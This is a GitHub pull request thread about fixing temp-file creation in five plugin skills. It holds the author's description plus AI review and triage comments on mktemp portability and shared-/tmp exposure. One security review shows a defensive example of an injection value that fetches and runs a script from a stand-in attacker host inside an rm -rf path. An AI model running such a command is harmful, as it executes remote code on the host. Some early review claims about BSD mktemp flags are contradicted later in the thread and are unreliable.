fix(plugins): bring five ephemeral-file producers onto the tier contract

[kyle-sexton]

Summary

A marketplace-wide audit classified nineteen ephemeral-file producers against the topic-docs ephemeral tier. Fourteen were already conforming or correctly classified in another tier. Five violated the contract; this fixes them.

firecrawl — the worst of them

Every scrape, search, and interact call wrote /tmp/fc-<nonce>.<ext>:

• hardcoded literal /tmp with a hand-rolled date +%s%N nonce instead of the platform primitive, and no Windows branch at all
• no cleanup anywhere — one file per call, so a research-heavy session left an unbounded pile behind. That is the footprint rule's exact failure case, and the contract is explicit that nothing documented reclaims the OS temp tree.

Now uses mktemp "${TMPDIR:-/tmp}/fc-…-XXXXXX", which works on every platform — including Windows, where Git Bash resolves /tmp through its mount to %TEMP% (by default under %LOCALAPPDATA%\Temp). Spill files are self-consumed, so they are removed after the Read, with the one exception the contract requires: when the user asked for the file itself, the path is the deliverable and is never deleted.

The other four

• prototype/explore-directions — offered "an OS temp or gitignored scratch location": a non-deterministic branch whose second half also puts the file inside the repository, against the tier's never-in-the-repo rule.
• visualization/visualize — wrote a local HTML file and handed back its path with no placement rule at all, while its sibling skills all carry one.
• event-storming/simulation — {system_temp} was never bound to a platform primitive anywhere in the file. Its delete-vs-archive split was already sound and is untouched.
• context7/lookup — > /tmp/nextjs-router.md, the same class as firecrawl but in an illustrative pipe example rather than a mandated rule. Fixed for consistency, and the example now echoes the generated path in the same call: the docs output is redirected, so without the echo a following Read has nothing to locate the randomly named file with.

On the wording, stated accurately

An earlier draft of this description claimed the new paragraphs were taken from existing exemplars and therefore added no new phrasing. That claim was wrong, and an exemplar-fidelity audit caught it. What the diff actually does:

• The visualization and prototype paragraphs borrow their mechanics from architecture/improve/actions/deepening.md (the Windows path, the open-commands, "report the absolute path") and the phrase "never lands in the consumer's repository tree" from adhd/clarify/SKILL.md — but they are near-duplicates of each other, i.e. one new phrasing used twice, not two independent derivations. They no longer inherit that exemplar's mktemp flag choice; see the portability section below.
• Both add two normative claims that appear in no exemplar: "one file per run" and an explicit "do not delete it". These come from the tier contract itself, which is their correct source; the earlier attribution to the exemplars was the error.
• The event-storming paragraph tracks no exemplar. Its framing is new phrasing, structurally justified because that file needs a whole session directory rather than a one-shot file.

Session directory is created, not merely named

Review flagged this as a P1, and it is a real exposure rather than a style point. event-storming/simulation composed its session directory path from the session id and created it normally. On a multi-user POSIX host with TMPDIR unset, ${TMPDIR:-/tmp} falls back to the shared, world-readable /tmp — so a predictable name both exposes the persona and session Markdown to every local user (a normally-created directory lands at 0755 with 0644 files inside) and lets any of them pre-create the path, so the workshop writes into a directory someone else owns.

The reference now creates the directory with a secure primitive instead of naming it: mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX" on POSIX/Git Bash, and New-Item -ItemType Directory under a [IO.Path]::GetRandomFileName() component in the per-user $env:TEMP on Windows PowerShell. The random component defeats pre-creation and POSIX mkdtemp mandates mode 0700, which gates traversal into the directory regardless of the modes of the files inside it — so the file modes need no separate change. The delete-vs-archive cleanup protocol is untouched, and the two downstream sites that restated the old path formula now refer to the path the primitive returned.

Portability — fixed here, not deferred

An earlier draft of this description shipped mktemp --tmpdir and mktemp -t, and recorded the gap as a known limitation to file a follow-up for. Review caught it. It is fixed in this PR rather than deferred.

A second review pass then caught the justification being wrong, and that correction matters more than the first. This description — and six sites in the diff — asserted that --tmpdir is "absent on BSD". That is false. The FreeBSD mktemp(1) synopsis and the macOS/Xcode page both read mktemp [-d] [-p tmpdir] [-q] [-t prefix] [-u] template ... — BSD has the directory flag. (The claims below are kept to the short -p spelling, which is what both synopses show verbatim; the long --tmpdir form is GNU's, and BSD spells it inconsistently across versions.) The "absent on BSD" claim was inherited from an existing comment in this repo and repeated as if verified; it was not.

The real hazard is worse than absence, which is why the fix itself stands unchanged. The flag exists in both dialects and means different things:

• GNU treats the positional template as relative to that directory and lets the flag beat TMPDIR. Its own manual deprecates -t on exactly that ground: "the use of -p without -t offers better defaults (by favoring the command line over TMPDIR)".
• BSD/macOS consult it only as a fallback for the -t flag when TMPDIR is unset — "If the -p option is set, then the given tmpdir will be used if the TMPDIR environment variable is not set." So TMPDIR wins instead, and with a bare positional template and no -t the flag does nothing at all.

So mktemp --tmpdir visualize-XXXXXX.html does not fail on macOS. It resolves the template against the current directory and silently writes into the consumer's repository — the precise outcome the ephemeral tier's never-in-the-repo rule exists to prevent, and a silent wrong answer rather than a loud one. BSD's -t also takes a prefix rather than a template, so the two dialects produce different filenames from the same argument.

Every call site in this diff therefore carries the temp root in the positional TEMPLATE argument, which neither dialect reinterprets:

mktemp "${TMPDIR:-/tmp}/fc-scrape-XXXXXX"
mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"

The form is still the one this repository already mandates for shell scripts — scripts/shell-portability-tokens.txt lints mktemp -p and mktemp --tmpdir out of changed **/*.sh files and points at the positional TEMPLATE replacement (#1527) — and that gate scanning .sh only is exactly how these skill documents drifted from it. Note that the gate's own inline comment carries the same "BSD does not implement" error this PR just corrected in its own prose; fixing that comment is #1544's lane, not this PR's, so it is deliberately untouched here.

The two skills that hand back an HTML file (visualization/visualize, prototype/explore-directions) create a private run directory with mktemp -d and write a fixed-name page inside it, rather than asking mktemp for a template with a .html suffix after the XXXXXX.

That question is now settled — and had it gone the other way this PR would have shipped a macOS-broken instruction. When these producers were written the suffix form was an open risk (#1709 raised it). #1675's lane has since resolved it against primary sources and written the answer into the tier contract itself: docs/conventions/topic-docs/README.md now requires the XXXXXX placeholders to be trailing, because BSD mktemp on macOS substitutes only trailing Xs — so <prefix>-XXXXXX.html is not merely non-conforming, the file cannot be created at all there. GNU coreutils accepts it and this repo's CI is ubuntu-24.04 throughout, so no gate here would ever have caught it.

Both producers already take the -d-plus-fixed-filename form that rule prescribes, so they conform as written. The surrounding prose is upgraded from "we do not depend on the suffix working" to stating plainly that it does not.

On verification, stated plainly. GNU coreutils 8.32 under Git Bash, executed in this environment: mktemp -d "${TMPDIR:-/tmp}/es-session-XXXXXX" → /tmp/es-session-cmjdnl, exit 0. (An earlier probe here also showed mktemp "${TMPDIR:-/tmp}/visualize-XXXXXX.html" succeeding on GNU — that success is exactly the trap the trailing-X rule now closes, since the same command fails on macOS.) The PowerShell branch was executed too (PowerShell 7.6.4, Windows 11): it creates the directory under %LOCALAPPDATA%\Temp and returns its full path. BSD/macOS is not executable from here, so every BSD claim above is quoted from the FreeBSD and macOS man pages rather than run — which is the discipline whose absence produced the "absent on BSD" error in the first place. The 0700 mode claim likewise rests on POSIX mkdtemp, not on this environment (Git Bash reports 0755 because MSYS emulates POSIX modes over Windows ACLs), and is now scoped to POSIX in the skill text rather than stated flatly across both platforms.

What is still not safe, and is avoided everywhere in this diff: a bare mktemp with a relative template resolves against the current directory, so mktemp -u fc-test-XXXXXX run inside a repo returns fc-test-tdvDNS — a file in the consumer's tree, against the tier's own rule.

Explicitly left alone

The audit confirmed these correct, and changing them would be regressions: quiz-me and ai-briefing (machine state), audit-pass (machine-state findings store), course-digest and youtube-digest (correct Ephemeral/Memory/Machine-state split, verified against the actual os.tmpdir() library code), running-retro (machine state by design — the observer outlives the session), machine-health (durable report archive), pressure-test and prototype/context/discipline.md (in-repo throwaway source code, a deliberate pattern outside this contract), and the work-items / source-control mktemp + rm -f spill-file pattern (rule 2's permitted self-consumed exception).

Test plan

Run from the branch worktree against origin/main:

• scripts/check-changelog-parity.sh --check-bump origin/main — pass (all five plugins bumped with matching ## [<version>] entries)

• scripts/check-contract-slice-prune.sh --check-diff origin/main — pass, no path under docs/topics/

• scripts/check-skill-portability.sh origin/main — pass, no unexcused coupling tokens

• markdownlint-cli2 over every changed Markdown file — pass, 0 errors

• mktemp forms exercised directly in this environment (GNU results and the BSD caveat quoted above)

• plugins/firecrawl/skills/update/scripts/update.test.sh — 17/17 pass after the update.sh temp-dir change

• scripts/check-shell-portability.sh origin/main — pass on the changed shell file

One executable path changed in this PR: update.sh's run-directory creation, covered by the 17 checks above. Everything else is instruction text in skill bodies and changelog prose, where no test suite applies. CI confirms the full gate set.

Review findings from the adversarial passes have been addressed on this PR, not deferred:

• the P1 session-directory exposure (predictable name in shared /tmp, now created by mktemp -d);
• the non-portable mktemp flag form across every touched call site, plus skills/update/scripts/update.sh, whose -d -t produced a differently-named run directory on BSD (all 17 of its checks still pass);
• the missing path echo in the context7 example — and the same defect in the new mktemp -d snippets, whose randomly-named directory is unrecoverable in the following tool call without it;
• the command-specific wording of the firecrawl cleanup exception, now genuinely command-agnostic rather than a closed seven-command list that would need editing whenever a command is added;
• the false "--tmpdir is absent on BSD" premise at six sites, corrected above against the FreeBSD and macOS man pages;
• the concurrent-session-safety bullet that still asserted the retired eventstorming-session-{id} formula as the anti-collision mechanism; and
• the 0700 claim, now scoped to POSIX mkdtemp rather than asserted across both platforms.

Related

Closes #1700 — the ephemeral-producer sweep. This changed while the PR was open: #1700 named two producers (planning:interview round tables, education:teach lesson HTML), each gated behind an open design question, which is why an earlier revision of this description said the issue was deliberately not closed here. #1675's lane has since resolved both — verified in merged main rather than taken on report: planning/skills/interview/context/loop.md now creates one mktemp -d "${TMPDIR:-/tmp}/interview-XXXXXX" run directory per interview, and education/skills/teach/context/lessons.md took the outcome #1700 explicitly anticipated ("it was never ephemeral, fix the label") — workspace lesson HTML is now documented as machine state, with only the primer page migrated to the ephemeral tier. With those two answered and the five here migrated, the sweep the issue describes is complete.

This is otherwise downstream conformance work from the ephemeral tier contract added in #1635 (PR #1675). #1635 is closed by that PR, not this one, so it carries no closing keyword here.

#1709 stays open and is deliberately not closed by this PR. Its portability question is answered for these five call sites, but its acceptance criteria also require the chosen form to be recorded normatively in docs/conventions/topic-docs/README.md and applied to every remaining plugins/** call site. At least two are outside this diff and still on the old forms: architecture/improve/actions/deepening.md (the origin of the --tmpdir choice) and claude-config/skills/audit/scripts/fix-plugin-drift.sh (mktemp -t). That migration and the normative record remain #1709's, and it carries needs-human / status: needs-decision for a reason.

Closes #1700

Related

• Closes Sweep existing ephemeral-HTML producers onto the topic-docs ephemeral tier #1700 — the ephemeral-producer sweep. Its two named producers were resolved by docs(topic-docs): add the ephemeral tier row so throwaway files stop reaching for the scratchpad #1675's lane; these five are the remainder, so the sweep completes here.
• Refs docs(topic-docs): add the ephemeral tier row so throwaway files stop reaching for the scratchpad #1675 — the PR that introduced the ephemeral tier row this sweep enforces, and whose lane added the trailing-XXXXXX constraint these producers already satisfy.
• Refs mktemp: no flag form is both non-deprecated and portable, and the bare form writes into the repo #1709 — the mktemp portability follow-up; answered for these call sites, left open for the normative record and the marketplace-wide migration.
• Refs ci: enable staged shell-portability-lint classes (date -d, stat -c) #1544 — owns the scripts/shell-portability-tokens.txt comment that still carries the "BSD does not implement" framing corrected here; deliberately untouched by this PR.

[claude]

Claude finished @kyle-sexton's task in 3m 22s —— View job

---

PR Review

• Gather context and understand the request
• Read PR diff and changed files
• Review firecrawl changes
• Review prototype/explore-directions changes
• Review visualization/visualize changes
• Review event-storming/simulation changes
• Review context7/lookup changes
• Verify plugin.json version bumps and CHANGELOG entries
• Post comprehensive review

---

Summary

Well-scoped conformance fix. The audit rationale in the PR description is solid, the firecrawl overhaul is the most substantive change and looks correct, and all five plugins have matching CHANGELOG entries and patch-version bumps. One portability bug across two files, one nit.

---

🔴 Important — mktemp --tmpdir is a GNU-only flag (macOS will error)

prototype/explore-directions/SKILL.md and visualization/visualize/SKILL.md both use:

mktemp --tmpdir explore-directions-XXXXXX.html
mktemp --tmpdir visualize-XXXXXX.html

--tmpdir is a GNU coreutils extension. BSD mktemp on macOS doesn't recognise it and will abort with illegal option. Both skills omit shell: bash from their frontmatter (unlike firecrawl, which carries that declaration and explicitly documents that mktemp resolves through Git Bash on Windows), so there's no guarantee the agent's shell surfaces a GNU mktemp.

Firecrawl — in the same PR — uses mktemp -t fc-scrape-XXXXXX, which works on both macOS (BSD, where -t names a prefix) and Linux/Git Bash (GNU, where -t is an alias for --tmpdir). The inconsistency between files in this PR suggests the --tmpdir form was chosen accidentally rather than intentionally.

The portable spelling for a file that needs a specific extension is:

OUT=$(mktemp "${TMPDIR:-/tmp}/explore-directions-XXXXXX.html")

That form passes the full template to mktemp without any flag, which is valid on macOS, Linux, and Git Bash — and preserves the .html suffix the browser needs to open the file correctly. The -t prefix form on macOS appends random characters after the whole prefix string (including .html), so mktemp -t explore-directions-XXXXXX.html would produce a filename ending in .htmlXXXXXX, not .html.

Affected lines:

• prototype/skills/explore-directions/SKILL.md:111
• visualization/skills/visualize/SKILL.md:96

Fix this →

---

🟡 Nit — context7 pipe example creates a temp file with no ownership note

context7/skills/lookup/context/cli.md:128:

# Dump to disk (keeps context clean; mktemp resolves the platform temp dir)
OUT=$(mktemp -t ctx7-XXXXXX); MSYS_NO_PATHCONV=1 ctx7 docs /vercel/next.js "app router" > "$OUT"

The example creates a temp file but doesn't echo the path, add a cleanup instruction, or note that the user owns it. The firecrawl pattern echoes $OUT immediately so the agent knows the path for a follow-up Read. This is illustrative context (not a binding rule), so the omission isn't blocking, but a brief follow-on comment — even just # echo "$OUT"; cat "$OUT" | less — would make the example show the pattern completely and avoid leaving readers unsure what to do next.

---

Looks good

• firecrawl: The three-phase pattern (OUT=$(mktemp …); echo "$OUT" → Read → rm -f "<literal path>") is correct for an agentic Bash context where shell state resets between tool calls. Echoing the path in the same call as creation is the right way to hand it to the next step. The carve-out for "user asked for the file itself" is precise and correctly placed.
• event-storming: Binding {system_temp} to ${TMPDIR:-/tmp} / $env:TEMP inline is the right fix; keeping the delete-vs-archive cleanup protocol unchanged is correct.
• CHANGELOG entries: All five plugins follow Keep a Changelog format, version bumps are patch-level (appropriate for documentation/instruction changes), and each entry accurately describes what changed.
• firecrawl/evals.json and firecrawl/update/SKILL.md: Both updated consistently with the core pattern change — neither was overlooked.
• Scope discipline: The explicitly-left-alone list in the PR description is thorough and the reasoning for each held-back case is sound.

[claude]

Claude finished @kyle-sexton's task in 3m 31s —— View job

---

Security Review — PR #1708

• Gather PR diff
• Read changed skill files
• Analyze for injection surfaces, path traversal, unsafe temp-file patterns, logic flaws
• Post findings

---

All 18 changed files are documentation/instruction markdown files and JSON manifests — no GitHub Actions workflows, no executable code, no secrets handling. The security surface is the shell patterns that these skill instructions direct Claude to generate and execute. No supply-chain, CI trigger, or permission-widening concerns in scope here.

---

Findings

IMPORTANT — mktemp --tmpdir is a GNU-only flag; macOS/BSD mktemp will reject it, risking fallback to a hardcoded path

Confidence: HIGH

The prototype and visualization skills introduce mktemp --tmpdir as their illustrative invocation:

• prototype/skills/explore-directions/SKILL.md#L110

  mktemp --tmpdir explore-directions-XXXXXX.html
  

• visualization/skills/visualize/SKILL.md#L96

  mktemp --tmpdir visualize-XXXXXX.html
  

--tmpdir is a GNU coreutils extension. BSD mktemp (macOS, FreeBSD) does not recognize it and exits with an error. On macOS the correct portable form is mktemp -t explore-directions-XXXXXX (suffix goes in the template, temp dir is implicit). The firecrawl examples added in the same PR correctly use the cross-platform -t flag throughout — that inconsistency makes the macOS gap easy to miss.

When the mktemp --tmpdir call fails, Claude has no explicit fallback instruction in either skill. An error-recovery heuristic could land on a hardcoded /tmp path (the exact pattern this PR is fixing) or on a CWD-relative path (violating the "never inside the repo" rule). Even with the e.g. qualifier softening the example, providing a broken form as the sole concrete illustration is a reliable source of regression on the affected platform.

Suggested fix: replace --tmpdir with the portable BSD-compatible form mktemp -t <prefix>-XXXXXX in both files, matching the firecrawl examples already in this PR.

---

SUGGESTION — {session_id} in the event-storming path template has no sanitization requirement

Confidence: PLAUSIBLE

event-storming/skills/simulation/reference/agentic-simulation.md#L271

{session_dir} = {system_temp}/eventstorming-session-{session_id}

The PR correctly binds {system_temp} to the platform primitive. {session_id} remains an unspecified template token. If the model derives {session_id} from user-supplied content (a workshop title, a domain name, a user-provided label) without stripping path-traversal characters, the composed directory could escape the temp root — e.g., {session_id} = ../../home/user/.ssh would resolve to a directory outside {system_temp}.

The existing file provides no guidance on how {session_id} is generated. A one-line requirement — "derive {session_id} from a timestamp or short random token; never from user-supplied strings" — would close this. The underlying cleanup logic (delete vs. archive) is untouched by this PR and unaffected.

---

No other security findings. The core mktemp + rm -f spill-file pattern in firecrawl/SKILL.md is correctly structured: mktemp produces a system-controlled path free of metacharacters, the path is quoted ("$OUT") throughout, and the rm -f cleanup step operates only on that literal path. The context7 pipe example's use of mktemp replaces a predictable /tmp/nextjs-router.md with a randomized path, removing the symlink-squatting window from the hardcoded name (consistent with the tier contract's intent even though no explicit cleanup is added — the file is the user's deliverable there). The credential-handling example in firecrawl's interact flow pre-dates this PR and is outside its scope.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 30e76de71f

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 2m 52s —— View job

---

PR Review — Updated for 9a31ce0

• Read the new commit diff
• Review current state of flagged files
• Post findings

---

New commit 9a31ce0 — correct and well-reasoned

The shell: bash correction in firecrawl is accurate. The prior phrasing attributed a Windows portability guarantee to a frontmatter field that cannot deliver it — shell: governs only ! dynamic-context injection evaluated at skill-load time, not the Bash tool calls the skill body issues at runtime. The new gotcha wording correctly distinguishes:

• Git Bash present → mktemp -t resolves through /tmp mount → works
• Git Bash absent (Windows/PowerShell) → mktemp does not exist → explicit fallback instruction needed

The core-pattern sentence is tighter for pointing to the gotcha rather than re-deriving a shell claim. The CHANGELOG entry accurately narrates the correction with enough context to understand the historical error. No issues with this commit.

---

🔴 Blocking — mktemp --tmpdir still unresolved after two prior reviews

Two independent reviews (code review + security review) on the previous commit both flagged this. The new commit did not address it. It remains open:

prototype/skills/explore-directions/SKILL.md:111

mktemp --tmpdir explore-directions-XXXXXX.html

visualization/skills/visualize/SKILL.md:96

mktemp --tmpdir visualize-XXXXXX.html

--tmpdir is a GNU coreutils extension. BSD mktemp (macOS) does not recognise it and aborts with illegal option. Neither skill carries shell: bash in its frontmatter (and as 9a31ce0 just clarified, that field wouldn't help at runtime anyway), so there is no rescue path on macOS.

Why -t does not substitute here. The firecrawl fix uses mktemp -t fc-scrape-XXXXXX (no extension needed for a spill file). That form is portable — on BSD -t treats the argument as a prefix and appends random characters; on GNU it is an alias for --tmpdir. But both skills here need the file to end in .html so a browser can open it from file://. mktemp -t explore-directions-XXXXXX.html on macOS produces explore-directions-XXXXXX.html<random> — the suffix is buried, not at the end. The browser would not recognise it as HTML.

Portable form for an HTML temp file:

OUT=$(mktemp "${TMPDIR:-/tmp}/explore-directions-XXXXXX.html")

This passes the full path template to mktemp with no flag. Both GNU and BSD mktemp find the rightmost block of Xs, replace them, and preserve the .html suffix. ${TMPDIR:-/tmp} follows the POSIX standard: it respects the user's configured temp location and falls back to /tmp when the variable is unset.

Both skills also lack any Windows fallback instruction (unlike firecrawl's corrected gotcha). A minimal addition alongside the fix would be the %LOCALAPPDATA%\Temp note already present in the prose, but no mktemp equivalent.

Fix this →

---

🟢 Resolved — {session_id} path-traversal concern (security review finding)

The security review flagged that {session_id} in event-storming/simulation had no sanitization requirement. The file already addresses this at line 333:

Use {domain}-{date}-{random4} format … no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths.

The constraint is present; it was just not co-located with the definition at line 271. No change needed.

---

Summary

9a31ce0 is a correct and important fix — it removes a false claim that would mislead consumers on Windows machines without Git Bash. The one remaining blocker is the mktemp --tmpdir portability issue in the prototype and visualization skills, which three independent reviewers have now flagged. The portable mktemp "${TMPDIR:-/tmp}/…" form resolves it without any flag-portability tradeoff.

[claude]

Claude finished @kyle-sexton's task in 5m 24s —— View job

---

Security Review — PR #1708

• Gather context and understand the request
• Read PR diff and changed files
• Analyze shell injection surfaces and temp-file patterns
• Analyze path traversal / trust boundary risks
• Analyze credential and secret handling
• Post findings

---

All 18 changed files are documentation/instruction markdown and JSON manifests — no GitHub Actions workflows, no executable code, no secrets or credentials directly in scope. The security surface is the shell patterns these skill instructions direct Claude to generate and execute. Prior reviews already flagged mktemp --tmpdir portability (two reviewers), {session_id} path traversal, and /tmp world-readable state — I am not re-reporting those.

---

IMPORTANT — Shell command injection via $() in domain name is a distinct, more severe vector than the path-traversal finding already reported

Severity: IMPORTANT
Confidence: PLAUSIBLE

The existing path-traversal finding (flagged as PLAUSIBLE by the prior security reviewer) targets slashes in the domain name escaping /tmp. The session-ID constraint at agentic-simulation.md:333 guards against this:

{domain}-{date}-{random4} … no spaces, slashes, or other path-unsafe characters

That constraint does not mention $, (, ), or backticks. Those are shell metacharacters, not path-unsafe characters in the common sense — and Bash evaluates $(…) and backtick substitution inside double-quoted strings. The cleanup instructions at lines 338 and 652 both use double-quoted paths:

rm -rf "{session_dir}/"

where {session_dir} expands to:

${TMPDIR:-/tmp}/eventstorming-session-{session_id}

If an agent embeds a user-provided domain like $(curl evil.com/sh | sh) into the session ID without stripping shell metacharacters, the generated rm invocation becomes:

rm -rf "/tmp/eventstorming-session-$(curl evil.com/sh | sh)-20260321-a7f2/"

Bash evaluates the $(…) substitution before passing the result to rm -rf. The side-effect command executes with the agent's credentials on the local host; the rm -rf itself targets a nonexistent path and fails silently.

Why this is in scope for this PR: The PR's only change to agentic-simulation.md is at line 271 — binding {system_temp} to the concrete bash expression ${TMPDIR:-/tmp}. Before this PR, {system_temp} was an abstract placeholder; after it, the full shell template is real bash syntax, so $(…) injection in {session_id} has a concrete execution path. The cleanup instructions at line 338 and line 652 are unchanged by the PR but are now concretely activated by it.

Confidence note: Exploitation depends on whether the executing model strips $( and backticks when composing a session ID from a domain name. Current models generally would, and the constraint note adds implicit guidance. Rated PLAUSIBLE rather than CONFIRMED because of that model-side uncertainty — but the constraint document gives no explicit sanitization instruction for shell metacharacters, only for path separators.

Suggested fix: Add $, backtick, ;, |, &, >, and < to the forbidden-characters list in the session ID constraint note, and/or recommend that the agent derive the domain slug by applying tr -cd '[:alnum:]-' to the user-provided domain string before using it in paths or destructive shell commands. A single sanitization example would make the rule unambiguous. Fix this →

---

All other changed files — no additional findings

• firecrawl/SKILL.md: The OUT=$(mktemp -t fc-scrape-XXXXXX); echo "$OUT" → Read → rm -f "<literal-path>" three-phase pattern is correctly structured. mktemp produces system-controlled paths free of metacharacters; "$OUT" is quoted throughout; the rm -f targets only the literal echoed path. The Windows/PowerShell fallback note is accurate. No new injection surface.
• firecrawl/context/commands.md, evals/evals.json, update/SKILL.md: Consistent updates with the core pattern change. No new trust surface.
• prototype/explore-directions/SKILL.md and visualization/visualize/SKILL.md: The mktemp --tmpdir portability bug is already reported by two prior reviewers. No additional security finding beyond that; the CSP meta-tag in the prototype skill is a security positive (remote-resource lockdown enforced at browser level).
• context7/cli.md: OUT=$(mktemp -t ctx7-XXXXXX) with > "$OUT" (quoted output redirection) is correct. The file is the user's deliverable and intentionally not cleaned up — consistent with the skill's tier contract exception. No injection surface.
• event-storming/agentic-simulation.md (line 271 only): See finding above. The PowerShell cleanup arm uses Remove-Item -LiteralPath "{session_dir}" which is injection-safe (-LiteralPath suppresses wildcard and substitution expansion); the risk is limited to the POSIX/Git Bash arm.
• All plugin.json and CHANGELOG.md files: Version bumps and changelog entries only. No security surface.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9a31ce0569

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[kyle-sexton]

AI-generated by an autonomous triage agent (instance MELO-LAP-001-triage-20260729T123842Z). Verify before acting.

Claiming the triage lane on this PR; a classification brief follows shortly.

[kyle-sexton]

AI-generated by an autonomous triage agent (instance MELO-LAP-001-triage-20260729T123842Z). Verify before acting. This is a triage classification, not a review or an approval.

Triage — PR #1708

Verdict: needs-human + work-class: structural. Not agent-ready. Reasoning and evidence below.

Linkage-check state

pr-issue-linkage / pr-issue-linkage is pass at HEAD 9a31ce0 (run 30322648836, job 90161541140). The whole gate set is green — 31/31 checks pass, MERGEABLE, zero labels, no prior lane-claim marker. The earlier FAILURE observation was a stale run; current authoritative state is pass. The PR carries no closing keyword by design, which the body states explicitly and the gate accepts.

Claim-by-claim verification

1. Scope and hygiene — claim holds

The diff touches exactly the five plugins named, 18 files, and every plugin gets a patch bump with a matching ## [<version>] CHANGELOG entry:

Plugin	Version	CHANGELOG entry
context7	0.4.2 → 0.4.3	## [0.4.3]
event-storming	0.5.5 → 0.5.6	## [0.5.6]
firecrawl	0.4.1 → 0.4.2	## [0.4.2]
prototype	0.3.2 → 0.3.3	## [0.3.3]
visualization	0.1.0 → 0.1.1	## [0.1.1]

No files outside those five plugins. changelog-parity-gate independently confirms this.

2. The mktemp flag forms actually used — the diff does spread a non-portable flag

This is the central triage question, so here is the per-call-site ground truth from gh pr diff 1708:

Plugin / file	Form introduced	Portability
event-storming agentic-simulation.md	${TMPDIR:-/tmp} / $env:TEMP path prefix (no flag)	Conforms — this is the contract-prescribed shape
firecrawl SKILL.md, context/commands.md, evals/evals.json, update/SKILL.md	mktemp -t fc-*-XXXXXX	Portable in practice, but GNU marks -t deprecated
context7 lookup/context/cli.md	mktemp -t ctx7-XXXXXX	Same — deprecated
prototype explore-directions/SKILL.md	mktemp --tmpdir explore-directions-XXXXXX.html	Hard break on BSD/macOS — --tmpdir is GNU-only
visualization visualize/SKILL.md	mktemp --tmpdir visualize-XXXXXX.html	Hard break on BSD/macOS

So: 1 of 5 plugins conforms; 2 inherit a deprecated flag; 2 introduce a flag that does not exist on macOS. The PR body concedes the shape of this itself — "Every invocation in this diff uses -t or --tmpdir" — which is precisely the pair the contract rules out (next section).

Both --tmpdir sites are hedged with e.g., but they are the only concrete invocation either skill offers, and both skills document open <path> for macOS in the same block — so macOS is explicitly in their support surface.

3. Issue #1709 — exists, open, and genuinely covers the gap

Open, titled "mktemp: no flag form is both non-deprecated and portable, and the bare form writes into the repo", labeled needs-human + status: needs-decision + priority: medium + work-class: scoped. Its scope is the marketplace-wide flag inheritance from architecture/skills/improve/actions/deepening.md, and its acceptance criteria require a form "verified by execution on both GNU and BSD." So the deferral is real and correctly targeted, not a parking-lot dodge.

One consequence worth naming: #1709 is itself labeled needs-human and awaiting a decision. A PR whose known limitation is parked on a needs-decision issue inherits that gating.

4. The tier contract — the rules exist, but NOT where cited and NOT on main

The contract is not under docs/topics/. It is docs/conventions/topic-docs/README.md, and it does not exist on origin/main (8a926ac) — it lives only in PR #1675, which is still OPEN and unmerged (branch fix/1635-topic-docs-ephemeral-tier, head 0279e058). Verified by git grep -iln ephemeral origin/main, which returns no such file.

Reading the file at 0279e058, the three cited rules do exist:

• Never in the repo — L40, table row: | Ephemeral | An OS-API-created temp file or directory, one per run | Never in the repo | ... |
• One file per run — L40 above, and the footprint paragraph: "a producer writes one file, or one directory, per run — never an accumulating tree"
• Self-consumed cleanup — rule 2, L100-108: "finally cleanup is correct only for a file the producer itself consumes and hands to no one."

But rule 1 (L79-99) prescribes the exact opposite of this PR's flag choice:

Use the platform's standard temp primitive and name the temp root in the template: on Unix mktemp "${TMPDIR:-/tmp}/<prefix>-XXXXXX" (add -d for a directory), the positional-template form both GNU and BSD mktemp accept identically … and the flags that would fix it are not portable (--tmpdir is GNU-only, -t is deprecated there).

So the contract this PR is titled after now names both flag forms the PR uses as the wrong answer. Four of the five plugins here would land non-conformant the moment #1675 merges.

Chronology, in fairness to the author: rule 1's verification stamps are 2026-07-27 — the same day #1709 was filed and the first reviews landed. The contract was sharpened toward the portable form concurrently with this PR, so this reads as the contract moving under the PR, not the author ignoring a settled rule.

Unverified sub-claim, flagged rather than asserted: rule 1 calls the positional form "accepted identically" by GNU and BSD, but its reproduction evidence is GNU-only (coreutils 8.32). prototype and visualization need the .html suffix to survive after the X-block, and #1709's own body says "Confirm the .html suffix survives on BSD — BSD's behavior here needs checking, not assuming." None of the three reviewers who proposed mktemp "${TMPDIR:-/tmp}/…-XXXXXX.html" showed BSD execution evidence either. This is the open question that makes #1708 a decision rather than a mechanical flag swap. No assertion about BSD suffix behavior is made here.

5. The promised adversarial audit — it ran; the remediation half did not

The body says: "An independent adversarial verifier is auditing this branch … Findings will be addressed on this PR before merge."

• Audit: happened. chatgpt-codex-connector[bot] (different vendor) reviewed both commits — 30e76de and 9a31ce0 — filing 1 P1 and 3 P2 inline findings. Two in-house claude review and security-review bots also reported on both commits.
• Remediation: did not happen. HEAD is still 9a31ce0 — the same commit Codex reviewed. Unaddressed at HEAD:
  • --tmpdir at prototype/…/SKILL.md:111 and visualization/…/SKILL.md:96 — flagged by three independent reviewers across two commits, still in the diff.
  • Codex P1: ${TMPDIR:-/tmp} selects shared /tmp on a multi-user POSIX host; session dir lands mode 0755 and its markdown 0644, so other local users can read workshop context. Fix suggested: mktemp -d or explicit 0700. Confirmed unaddressed — grep of the diff for chmod, 0700, umask, mktemp -d returns nothing.
  • Codex P2: context7 example never echoes $OUT, so the next tool call cannot locate the file.
  • Codex P2: firecrawl cleanup exception is worded for a "scraped file" only, so a user-requested search/crawl/map/parse deliverable can still be deleted — and that contradicts firecrawl/skills/update/SKILL.md in the same PR.

So the claim is half-true, and the unkept half is the half that mattered.

Classification — work-class: structural

Justification, on evidence rather than file count:

• The unit of work is a contract change, not five independent edits. The remedy for the two broken call sites is one marketplace-wide flag decision that is already parked on mktemp: no flag form is both non-deprecated and portable, and the bare form writes into the repo #1709 and explicitly scoped as "one decision recorded in an owner doc rather than five independent judgements."
